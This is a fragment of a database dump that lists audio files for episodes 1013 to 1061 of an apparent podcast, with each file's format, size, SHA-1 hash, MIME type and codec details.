(1013,'hpr1013.ogg','ogg',17741796,'be3ee0ea9239be906ffe5aaf8a7556ad33c9ff37','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1013,'hpr1013.spx','spx',7268959,'814c3a3da8c41128f918f48e7f19dea06b3887b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1014,'hpr1014.mp3','mp3',30802741,'bea971506177bc3e91381328c751e82f4f742602','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1014,'hpr1014.ogg','ogg',19756432,'b6de8bbdc33f22fd5cf75de43181142ebe6a8106','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1014,'hpr1014.spx','spx',13756458,'7d213b0ca04b1536046a0eb5d7868c9d913d03a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1015,'hpr1015.mp3','mp3',9738765,'35167c7e74755562bf1901c7ad5f6a50682f9bac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1015,'hpr1015.ogg','ogg',9508869,'2ab1305f1e77c390238c575307090e8c584d0b92','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1015,'hpr1015.spx','spx',4349051,'d538ff4e5787ed64026c730f1ba0f9ccffc76172','application/ogg; charset=binary','Ogg data, Speex audio'),
(1016,'hpr1016.mp3','mp3',15207067,'50fcb314d24ce0e315a28509042e8c33f86c2443','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1016,'hpr1016.ogg','ogg',24893138,'ac92219c925c259f6200ee19fc5b0989732cc774','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1016,'hpr1016.spx','spx',6791859,'d2a964bdc01a4b4274d68fd7c4c912e7507faa3e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1017,'hpr1017.mp3','mp3',3442903,'8dccdde75a61dfb4d1a67dd70309fd99f42bd322','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1017,'hpr1017.ogg','ogg',3116441,'e1d394dc4399005453a4e138f05c3d42ea350240','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1017,'hpr1017.spx','spx',1537318,'83273c8a383e8802c57aec40e1b95a5d5d9ba894','application/ogg; charset=binary','Ogg data, Speex audio'),
(1018,'hpr1018.mp3','mp3',10113125,'d04f95d358f5db2e66031fae922cb876fe0fbed9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1018,'hpr1018.ogg','ogg',7273655,'4b2642b24ee4cc0f02007da7fa17e15be4f68963','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1018,'hpr1018.spx','spx',3011269,'d5396469890899549e0447fd2274deb314d2bcf4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1019,'hpr1019.mp3','mp3',3862134,'d9c117f3a17e4487eba8e8e5e0510f0ef2bd6c9a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1019,'hpr1019.ogg','ogg',4157980,'d674dcd7f01d277b07b181c3a2e477326ed1f257','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1019,'hpr1019.spx','spx',1724464,'fb06042fffb6aa243ea163234f19093551f0aa89','application/ogg; charset=binary','Ogg data, Speex audio'),
(1020,'hpr1020.mp3','mp3',10802053,'522a97f4843ad154d2d0f9cb07750e957e755a5d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1020,'hpr1020.ogg','ogg',10416909,'1d6a422e7d3ac07f62b195a0ce09525af3d90bb7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1020,'hpr1020.spx','spx',4824095,'2889c203bac4237b01160997463ace20d8251cf8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1021,'hpr1021.mp3','mp3',10818635,'bfe16ea1d5b0d061daaa297bc5dcca52996fec1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1021,'hpr1021.ogg','ogg',4706493,'e7668e080245b7124e2c3051c6003ae6b584f776','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1021,'hpr1021.spx','spx',2415885,'21c22709647299f3c401ec8e223da2a23ce288bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1022,'hpr1022.mp3','mp3',17209788,'aa31544cb0126f2fea595131707eeb66389d6489','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1022,'hpr1022.ogg','ogg',11588553,'8eb689cba7e6fee71fc65847cc4d11d9a8e8aa7f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1022,'hpr1022.spx','spx',6788084,'9fe9caa16a9eb9a89b21be186ac6e6cfe4817f25','application/ogg; charset=binary','Ogg data, Speex audio'),
(1023,'hpr1023.mp3','mp3',49050256,'83941c9f79b311aa153b5b01427ea72df6858993','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1023,'hpr1023.ogg','ogg',55440434,'ee37dafd447b74bccfe6d7b2cb53f6117c7264ec','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(1023,'hpr1023.spx','spx',11265277,'f2abc992f16b6d6df5518595c1e46d38e8a46a3c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1024,'hpr1024.mp3','mp3',39522120,'5f07882ad1a50c90fa97f7162fc53a48112d8588','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1024,'hpr1024.ogg','ogg',57563465,'8ecdb18eab0be6e1c838c10c873411422f552c94','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1024,'hpr1024.spx','spx',17650606,'52d5bf863187a6c6b758b5761336b8fbc0a37689','application/ogg; charset=binary','Ogg data, Speex audio'),
(1025,'hpr1025.mp3','mp3',12618400,'8f81f1036877518cc9c376de71e086c74d798e15','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1025,'hpr1025.ogg','ogg',10553795,'e874a875cead92b1ed559880710d1d5087871110','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1025,'hpr1025.spx','spx',5635234,'69d657791e578f3619fc3d6094269a1ce3843b45','application/ogg; charset=binary','Ogg data, Speex audio'),
(1026,'hpr1026.mp3','mp3',22167183,'9854193abcd013303e1db21e23d391042c884cbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1026,'hpr1026.ogg','ogg',11151810,'f7a9796594cdc22dfff9b3a50234b0c5a70dfe81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1026,'hpr1026.spx','spx',4950285,'e2c0f3f669d3960170941f3d40e1f80bba57ee74','application/ogg; charset=binary','Ogg data, Speex audio'),
(1027,'hpr1027.mp3','mp3',11642007,'edfd36ec770fcf50a5c0815e97aae7056c2cdf96','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1027,'hpr1027.ogg','ogg',11869298,'2c093e07232ab605f74c151cc817d2a2b30fe906','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1027,'hpr1027.spx','spx',5199033,'8693e42d3094e237f94e12bba2f9209bc80920f0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1028,'hpr1028.mp3','mp3',15700046,'39c2e33d9cd8dccd186e1944f34b74f380c3ccf3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1028,'hpr1028.ogg','ogg',31344676,'7a0568cac425ad86a2885f1be21379cb80f7c082','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1028,'hpr1028.spx','spx',7011688,'e3c1e4c7dcdc42fd23c0d99db5269a41b8809c99','application/ogg; charset=binary','Ogg data, Speex audio'),
(1029,'hpr1029.mp3','mp3',7049344,'4004af5a407eea8a24ba70f3bba4e839df8c14ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1029,'hpr1029.ogg','ogg',9610602,'429f036d3f9099d5a9e8b84b57321693578f5e6e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~70000 bps, created by: Xiph.Org libVorbis I'),
(1029,'hpr1029.spx','spx',4298004,'18a95bbce142416d13126a4eae7f2037e017ff7b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1030,'hpr1030.mp3','mp3',13528356,'70817b9903b993fcfe9570e9b1fb5a43521e592e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1030,'hpr1030.ogg','ogg',14544358,'60fb98da8b687ba6eb30ad3db5b03f5605490cd5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1030,'hpr1030.spx','spx',10310005,'09862cfe790c8be892bcda19f6fb8b4e117a1c71','application/ogg; charset=binary','Ogg data, Speex audio'),
(1031,'hpr1031.mp3','mp3',6790547,'dc0dfdd472fd5bef3f1fd8004eae79412255627f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1031,'hpr1031.ogg','ogg',3736792,'5732cb5d4159731b1cdfc6c081fbe1239ce5559e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1031,'hpr1031.spx','spx',1516681,'81054d16eb8cc8664f0777eef56e9ed70b2d17cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1032,'hpr1032.mp3','mp3',22272092,'b48287ba93952db7439ab128e6c59d6e604d28b2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1032,'hpr1032.ogg','ogg',13960164,'d19ba9d91b9ab46a131264e5a714efa77ce25d82','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1032,'hpr1032.spx','spx',8784755,'5cd061b39e2993238161f0338879ed3011aceede','application/ogg; charset=binary','Ogg data, Speex audio'),
(1033,'hpr1033.mp3','mp3',3758872,'10c5e3507e60810a95ce594d91a4af26a51153c5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1033,'hpr1033.ogg','ogg',2924648,'6d1568b25002447be7b51bc17ee5748f6b714782','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1033,'hpr1033.spx','spx',1678863,'f1d2c4f5d73aeb75df5c7487f7e9017bce47a80a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1034,'hpr1034.mp3','mp3',16302624,'49444ab3c101e0377e6022a5dfe35503f1989ab2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(1034,'hpr1034.ogg','ogg',12247301,'9eaa5bbadc921858ebd09009c77c07e7002562bc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(1034,'hpr1034.spx','spx',3743058,'6d6d5790a3cb31d9f9437e96a6f9e3094224c958','application/ogg; charset=binary','Ogg data, Speex audio'),
(1035,'hpr1035.mp3','mp3',22786176,'3bba9bd699e87bff95fdaac41ff51e615498fecf','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1035,'hpr1035.ogg','ogg',18076959,'8754d8a0e7d90e4cf6d9c4d61f3afa0bc74cddbb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1035,'hpr1035.spx','spx',6827560,'3aaba3e8ac5e49bac7ec61ceada1d48fd3ef05b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1036,'hpr1036.mp3','mp3',13924992,'2e6932fc6f262024cdf6260ed37162d8db81fd4d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1036,'hpr1036.ogg','ogg',13635085,'7ef5463ce620a1e0f06d81fd08b8a1cd60fb9de9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1036,'hpr1036.spx','spx',6219304,'7f1ee3ad0346e700fb4c083f8b8bbfb54be34de2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1037,'hpr1037.mp3','mp3',13326228,'592b9535a651189ed9c03bb8219ea793da1aa3c6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1037,'hpr1037.ogg','ogg',13570939,'28e4e05fb5ff4efe1b03e4c43c960468d0fd7ff8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1037,'hpr1037.spx','spx',5951859,'4c71d5f8dcd4bba9e57570f446741439d74f8d3c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1038,'hpr1038.mp3','mp3',21375968,'85ff5f526edd55c43a0a9b6a07b250094974dd95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1038,'hpr1038.ogg','ogg',37234094,'0893c0607115d4854e7119e413867474fcfd439e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1038,'hpr1038.spx','spx',9546955,'0c45d2164d41bf9269c665a49e901d26f7d61cc4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1039,'hpr1039.mp3','mp3',10089499,'a68e2902e1fb723cbbb7280282012812d1d35e70','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1039,'hpr1039.ogg','ogg',11329355,'e50922842a1f6618daed5b2fbedf69842fe883e0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1039,'hpr1039.spx','spx',6854062,'abff95b966fd455e25095fdfcb6a99763e63a7ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(1040,'hpr1040.mp3','mp3',12159446,'c4eaadb0f518b7437887a8101fe1ab85bea7f388','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1040,'hpr1040.ogg','ogg',6129403,'37c9cc56f1b627e8a05b5bbf7717a4b57660b2ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1040,'hpr1040.spx','spx',2715217,'99e2e10a26a0e76f3dfcacaab5d7a6ee284ec716','application/ogg; charset=binary','Ogg data, Speex audio'),
(1041,'hpr1041.mp3','mp3',16695626,'19fa30275cc2e4e81c6918851631bc86b764a1f4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1041,'hpr1041.ogg','ogg',30508855,'e12a7ab27608a7870bcc75d8ff2ea8f2880e9d51','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1041,'hpr1041.spx','spx',7456120,'ab8da285fee1a8da0622bdc9979bb6f87768d2df','application/ogg; charset=binary','Ogg data, Speex audio'),
(1042,'hpr1042.mp3','mp3',15239083,'b988207ddad74d9936a24487ff6ad0dd7bc29112','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1042,'hpr1042.ogg','ogg',9583102,'bd495447343512d677e2d3830e3ae7bf8f7f0ba1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1042,'hpr1042.spx','spx',6010729,'5edca41f7fc1fc899076920d90052845e95f35d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1043,'hpr1043.mp3','mp3',20832842,'e4eb923076a495d9666463db5980a90e4c4797a1','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 32 kHz, Stereo'),
(1043,'hpr1043.ogg','ogg',33124872,'804c9457acd4fd91ac123cbe5800a54cf398265a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I (1.1.0 RC1)'),
(1043,'hpr1043.spx','spx',6201639,'79f7aaf01025bcdd9eca82fdcd129068be935045','application/ogg; charset=binary','Ogg data, Speex audio'),
(1044,'hpr1044.mp3','mp3',27221131,'90dcd591a66323eda216bad77115dc5008bf2f03','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1044,'hpr1044.ogg','ogg',41498024,'ce7182541ea001f62bf149e1a5f1ff02ceb183e2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~239920 bps, created by: Xiph.Org libVorbis I'),
(1044,'hpr1044.spx','spx',6078712,'bec361838b4e5c12ed59b274cb4169d9750bb3b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1045,'hpr1045.mp3','mp3',4873462,'5d330c6fc2fdd131dd01ed7238796377118eda11','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1045,'hpr1045.ogg','ogg',9961618,'93b06bc3d8ff4e55d9cf1db51d1889ca8b8ca645','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1045,'hpr1045.spx','spx',2176196,'ec53c67c7c96a27b5dbecf7540f37bdbd5f7fc0d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1046,'hpr1046.mp3','mp3',18804840,'53ff87678171e3da1c4e4797d955448997930af7','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1046,'hpr1046.ogg','ogg',21246217,'1f83e2aa8a66dc0d6ee13c2c64f2195231d6fe34','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1046,'hpr1046.spx','spx',8398519,'5b4030612aa7f9165293f2e522c7829300634016','application/ogg; charset=binary','Ogg data, Speex audio'),
(1047,'hpr1047.mp3','mp3',13105962,'dea0a29c8de404f49e27f1e60a89feffa8367548','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1047,'hpr1047.ogg','ogg',13442599,'426fa7e52525607fb1ada2da9f1e145b8ffda26f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1047,'hpr1047.spx','spx',5853469,'728d3f89353258189be082332cde815fb9166e41','application/ogg; charset=binary','Ogg data, Speex audio'),
(1048,'hpr1048.mp3','mp3',22486133,'ed74ef9b7320a6c75f1022153c2a140dc62f2123','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1048,'hpr1048.ogg','ogg',20106514,'8f9102e4befe1104c219f61c689bf372128a9ca8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1048,'hpr1048.spx','spx',10042179,'8f504774c9d7b89ac8404d4a6721a909f3c169eb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1049,'hpr1049.mp3','mp3',12697728,'74e582144ccc56297fe5ae34d1f511e2c38b8827','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1049,'hpr1049.ogg','ogg',10174607,'582c8ddebf50eabfbeee5756dabbb37c7bd410c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1049,'hpr1049.spx','spx',3824282,'604d701cc9676dd1b99ea46cf174c1e7dc2defe4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1050,'hpr1050.mp3','mp3',22110334,'4ae5296754136056e344f72d17f8cf188190bd89','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1050,'hpr1050.ogg','ogg',16674068,'b67980f03b13caf9ade12f3cff1e3614ef2f0c2a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~110000 bps, created by: Xiph.Org libVorbis I'),
(1050,'hpr1050.spx','spx',4937628,'ea7087756379fbd7ac426618f246f6c767c140d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1051,'hpr1051.mp3','mp3',28773593,'6f5bf61065354b0cab0c45108c28de6dd1c9eb48','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(1051,'hpr1051.ogg','ogg',94903647,'1e8258ee0fc3c16d795fb6ad8edeb55f526c4067','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~499821 bps, created by: Xiph.Org libVorbis I'),
(1051,'hpr1051.spx','spx',6425120,'bec32bb58c58b1cbf78da93ee269ccb8f9aa3403','application/ogg; charset=binary','Ogg data, Speex audio'),
(1052,'hpr1052.mp3','mp3',22889427,'c58667406374f21a0724fe82339ba60127a96385','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1052,'hpr1052.ogg','ogg',13688173,'6cb4b11f6eb889ef46b30f79eb12232a70263272','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1052,'hpr1052.spx','spx',9028257,'8eebc6c3f37fdfa02a95eea35410ffadb92c1eb5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1053,'hpr1053.mp3','mp3',2226023,'5ff45c443e3fa57bc486d8998d2dfd700a6f65ec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1053,'hpr1053.ogg','ogg',2158050,'4a4b43e742c16907fc7fd90a5702de5071d18472','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1053,'hpr1053.spx','spx',993742,'eca9ee7f34ce3acbb1d59ae504474c33d163e311','application/ogg; charset=binary','Ogg data, Speex audio'),
(1054,'hpr1054.mp3','mp3',19751040,'9b59e4cbdba02d45ca734c9da15ae7a727e16904','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1054,'hpr1054.ogg','ogg',20413239,'eb2d1b98175f2884036111e028cf740e789bb88a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(1054,'hpr1054.spx','spx',8198242,'20a5a583f607abaa8b230369ddcce344ee4548db','application/ogg; charset=binary','Ogg data, Speex audio'),
(1055,'hpr1055.mp3','mp3',17756279,'5634ac796d1950c13a597d0af0f776a1cccc47fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(1055,'hpr1055.ogg','ogg',9272526,'5884946f2b6631bcf4510250649f4716436a03d2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1055,'hpr1055.spx','spx',3965082,'bf17cde4dadceb90c7777374496c68bc06114df5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1056,'hpr1056.mp3','mp3',18013138,'7cc78e0d00f9e14bb69f95cc21665529cbc3430a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1056,'hpr1056.ogg','ogg',20574175,'888e679a502ed4f6274de74755e6a8e7116f4326','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1056,'hpr1056.spx','spx',8044436,'5a13b3251d82d7e9a9bb49affe77205abdf65752','application/ogg; charset=binary','Ogg data, Speex audio'),
(1057,'hpr1057.mp3','mp3',6915318,'7fcb8fb000192164e2cf5781e3c0dce12b5c721f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(1057,'hpr1057.ogg','ogg',9839688,'f094602d475ae964d8b5007a533da2986408f313','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~128000 bps, created by: Xiph.Org libVorbis I'),
(1057,'hpr1057.spx','spx',2058456,'dd5ea8811d944bd491a62131952810f97396d141','application/ogg; charset=binary','Ogg data, Speex audio'),
(1058,'hpr1058.mp3','mp3',26850686,'1815003999972205e4440d1409e7fd97b3ace8d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1058,'hpr1058.ogg','ogg',30475389,'52830b2d9dc04b1747a3b683447f659e5ea5b947','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1058,'hpr1058.spx','spx',11991425,'25a098f8db882a8236aa312f961e3e21ebce59e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1059,'hpr1059.mp3','mp3',27028161,'cbec172e9ef2405fed8188430898c2ba7222db8d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1059,'hpr1059.ogg','ogg',31634885,'50b9ec68521449fbfce020cb5476a3f61058a8fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1059,'hpr1059.spx','spx',12070605,'b96d9bb065edce8dc4da206e960e319016299dc4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1060,'hpr1060.mp3','mp3',24868295,'c778cfcd29f630ed3cba76757670d7c52d9dfed0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1060,'hpr1060.ogg','ogg',28442031,'62bb814951e919cab8bdaac17fef31b1d8ddc297','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1060,'hpr1060.spx','spx',11106060,'1b8599e22595d2497a1a8f02722176f3601e401b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1061,'hpr1061.mp3','mp3',8230520,'92c2b941f7dd50c238c4a926fc7755c629db2f12','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
